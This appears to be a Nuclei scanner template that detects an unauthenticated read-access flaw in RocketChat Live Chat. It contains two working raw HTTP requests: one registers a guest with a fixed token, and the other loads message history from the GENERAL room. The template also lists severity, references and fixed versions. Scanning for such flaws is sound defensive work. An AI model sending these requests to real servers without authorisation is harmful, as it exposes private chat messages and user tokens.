51 lines
1.7 KiB
YAML
51 lines
1.7 KiB
YAML
id: rocketchat-unauth-access
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info:
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name: RocketChat Live Chat - Unauthenticated Read Access
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author: rojanrijal
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severity: high
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description: RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens.
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reference:
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- https://docs.rocket.chat/guides/security/security-updates
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- https://securifyinc.com/disclosures/rocketchat-unauthenticated-access-to-messages
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 8.6
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cwe-id: CWE-522
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remediation: Fixed in versions 3.11, 3.10.5, 3.9.7, and 3.8.8.
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tags: rocketchat,unauth
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requests:
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- raw:
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- |
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POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/json
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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{"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"name\":\"cve-2020-nuclei\",\"email\":\"cve@nuclei.local\"}],\"id\":\"123\"}"}
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- |
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POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/json
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{"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"{\"msg\":\"result\",\"result\":{\"messages\"'
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- '"success":true'
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condition: and
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/06/03 |